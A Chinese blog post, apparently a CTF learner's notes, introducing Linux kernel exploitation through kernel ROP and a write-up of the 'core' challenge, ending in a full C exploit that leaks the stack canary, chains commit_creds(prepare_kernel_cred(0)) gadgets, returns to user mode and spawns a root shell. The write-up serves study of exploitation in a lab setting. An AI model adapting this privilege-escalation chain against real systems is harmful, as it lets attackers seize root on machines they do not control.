Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

【kernelpwn之路】入门

Posted on 2022年8月10日2022年8月10日 by Nameless

前言

笔者日后是奔着搞iot去的,虽然还没学。但为啥不直接搞iot还有看看内核呢?一方面,现在还是在打CTF,无论国内还是国外,都会遇到很多有关kernel的题;另一方面,iot固件里的busybox,个人理解就是一个小型的操作系统,里面也有文件系统以及和kernel差不多的用其他架构编写的内核。还有,学习linux kernelpwn能更深入理解计算机底层的一些东西,从用户态到内核态的转变,都是百益无一害的。所以在此记录记录kernelpwn的学习过程

kernel ROP

和我们常见的二进制文件一样,kernel当中也有gadget,我们也能利用这些gadget来实现”返回导向编程“即ROP。

但kernel的题,一般漏洞都在于出题人编写的kernel模块中,我们要触发漏洞,首先就要进入内核态,然后调用这个模块。那么,我们就不能直接像用户态一样,直接通过system或者ogg来getshell了。而且,flag一般是放在目录下root文件中的,所以我们需要在内核态获取最高权限,然后返回用户态执行system或者ogg来getshell。

获取内核态的最高权限一般需要用到:commit_creds(prepare_kernel_cred(NULL))

所用的gadget一般如下:

    rop_chain[i++] = POP_RDI_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RDX_RET + offset;
    rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
    rop_chain[i++] = commit_creds;

注意到有个”clear the useless data“,暂时不知道是干嘛的,等会内核调试了再康

返回用户态一般会用到swapgs和iretq这两个汇编指令,对应的rop链子写法:

    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + offset;
    rop_chain[i++] = (size_t)getRootShell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;

这里的user_cs等一系列有关用户态的信息,一般是在main函数开头通过如下函数保存的:

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

这里的__asm__用的就是内联汇编,不过用的是masm的写法,需要在编译的时候加上一句——-masm=intel

gcc ./exploit.c -o exploit -static -masm=intel

例题:【强网杯2022】core

下载下来的文件是这些,介绍介绍:

start.sh:启动脚本,执行过后就进入了题目给的文件系统
vmlinux:静态编译的内核
bzlmage:压缩后的内核
core.cpio:压缩后的文件系统

对这几个文件,应该进行怎么样的操作呢?

先看看start.sh:

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

为了便于调试,我们把运行内存改成了256MB且关闭了kaslr(内核地址随机化)

vmlinux主要是来找gadget用的,不过这题在文件系统里面也有一个vmlinux,去那里面找,因为文件系统挂载的就是里面的vmlinux

core.cpio我们解压它:

mkdir core
cp core.cpio ./core
cd core
mv ./core.cpio core.cpio.gz     
 #因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./core.cpio.gz 
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./core.cpio 
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract  执行copy-in模式,还原备份档。
#-d或--make-directories  如有需要cpio会自行建立目录。
#-v或--verbose  详细显示指令的执行过程。
#-m或preserve-modification-time  不去更换文件的更改时间

看看里面的init脚本:

红色箭头处表明core.ko是加载的模块,也就是存在漏洞的地方,等会就把它放入ida了

黄色箭头处表面启动后2分钟自动关闭,如果要调试的话这个要删去

漏洞

先康康core.ko的保护:

放ida里看看:

由于没开pie,我们可以通过ioctl(fd,coice,agrv)来调用core_read,set_off,core_cpy三个功能;用write(fd,buf,size)往&name中写值:

这里的fd是open(“/proc/core”):

主要的漏洞在core_cpy:

传一个负数就能把name中的值,复制最多0xffff到v2中,也就完成了栈溢出能够进行ROP

那么思路就很清晰了:

通过core_set_off设置偏移,然后core_read_buf泄露canary;write进name然后core_cpy复制到v2中完成栈溢出ROP

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>


#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RCX 0xffffffff815c0db1
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define  IRETQ 0xffffffff81050ac2

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootShell(void)
{
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

void core_read(int fd,char* buf)
{
	ioctl(fd,0x6677889B,buf);
} 

void core_set_offset(int fd,size_t offset)
{
	ioctl(fd,0x6677889C,offset);
}

void core_copy_func(int fd,size_t size)
{
	ioctl(fd,0x6677889A,size);
}

int main(int argc, char ** argv)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();
    
    int fd = open("/proc/core",2);
    if(fd <0)
    {
        printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
        exit(-1);
    }
    
    FILE * sym_table_fd = fopen("/tmp/kallsyms","r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    
    char buf[0x50],type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd,"%llx%s%s",&addr,type,buf))
    {
		if(prepare_kernel_cred && commit_creds)
		    break;
		
		if(!commit_creds && !strcmp(buf, "commit_creds"))
		{
		    commit_creds = addr;
		    printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
		    continue;
	    }
		
		if(!strcmp(buf, "prepare_kernel_cred"))
		{
		    prepare_kernel_cred = addr;
		    printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
		    continue;
		}
	}
	size_t offset = commit_creds - 0xffffffff8109c8e0;
	
	size_t canary;
	core_set_offset(fd,0x40);
	core_read(fd,buf);
	canary=((size_t *)buf)[0];
    size_t rop[0x100];
    int i=0;
    for(;i < 10;i++)
        rop[i]=canary;
    
    rop[i++]=POP_RDI_RET+offset;
    rop[i++]=0;
	rop[i++]=prepare_kernel_cred;
	rop[i++]=POP_RCX_RET+offset;
	rop[i++]=POP_RDX_RET+offset; //clean useless data
	rop[i++]=MOV_RDI_RAX_CALL_RCX+offset;
	rop[i++]=commit_creds;
	rop[i++]=SWAPGS_POPFQ_RET+offset;
	rop[i++]=0;
	rop[i++]=IRETQ+offset;
	rop[i++]=(size_t)getRootShell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    write(fd,rop,0x800);
    core_copy_func(fd,0xffffffffffff0000 | (0x100));
    return 0;
}

调试

重新打包:

find . | cpio -o -H newc > ../core.cpio

运行并getshell:

发表回复 取消回复

要发表评论,您必须先登录。

近期文章

  • 嵌入式设备组播路由攻击实战
  • 嵌入式设备串口调试以及破解实战
  • 小小做题家之——musl 1.2.2的利用手法
  • 手动编译测试musl1.2.2 meta dequeue特性
  • 【2022浙江省赛】PWN题部分题解

近期评论

    归档

    • 2023年1月
    • 2022年10月
    • 2022年9月
    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • Linux
    • oi
    • PWN
    • python
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    hash_hash
    nightu
    yolbby
    JBNRZ

    ©2022 Nameless的摸鱼笔记

    蜀ICP备2022004715号

    ©2023 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes